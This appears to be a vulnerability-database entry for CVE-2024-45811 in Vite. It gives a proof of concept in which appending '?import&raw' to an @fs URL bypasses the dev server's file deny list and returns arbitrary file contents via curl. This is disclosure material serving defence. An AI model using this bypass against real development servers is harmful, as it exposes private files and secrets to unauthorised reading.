Vite's `server.fs.deny` is bypassed when using `?import&raw`
### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2024-45811US | — | — | ||
Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/vitejs/vitePACKAGE
- https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249WEB
- https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34WEB
- https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bdWEB
- https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6WEB
- https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7WEB
- https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfxWEB
- https://nvd.nist.gov/vuln/detail/CVE-2024-45811ADVISORY
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